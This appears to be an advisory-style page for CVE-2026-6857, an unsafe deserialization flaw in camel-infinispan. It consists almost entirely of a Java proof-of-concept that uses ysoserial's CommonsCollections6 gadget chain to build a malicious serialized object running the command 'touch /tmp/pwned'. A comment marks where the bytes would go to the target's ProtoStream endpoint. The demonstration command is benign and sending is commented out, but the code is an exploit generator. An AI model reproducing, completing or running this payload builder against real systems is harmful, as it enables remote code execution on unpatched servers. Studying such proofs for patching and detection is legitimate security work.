CVE-2026-6857 camel-infinispan不安全反序列化漏洞

/* * Conceptual PoC for Unsafe Deserialization in camel-infinispan * This demonstrates how a malicious object might be serialized and sent. */ import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import ysoserial.payloads.ObjectPayload; public class CVE2026_6857_PoC { public static void main(String[] args) throws Exception { // Generate a malicious payload using a gadget chain (e.g., CommonsCollections6) // Note: Classpath must contain the vulnerable library and the gadget dependency ObjectPayload payload = ObjectPayload.Utils.getPayload("CommonsCollections6", "touch /tmp/pwned"); // Serialize the malicious object ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(payload); oos.flush(); byte[] serializedData = bos.toByteArray(); // In a real attack, 'serializedData' would be sent to the ProtoStream endpoint System.out.println("Malicious payload generated. Length: " + serializedData.length); // sendToTarget(serializedData); } }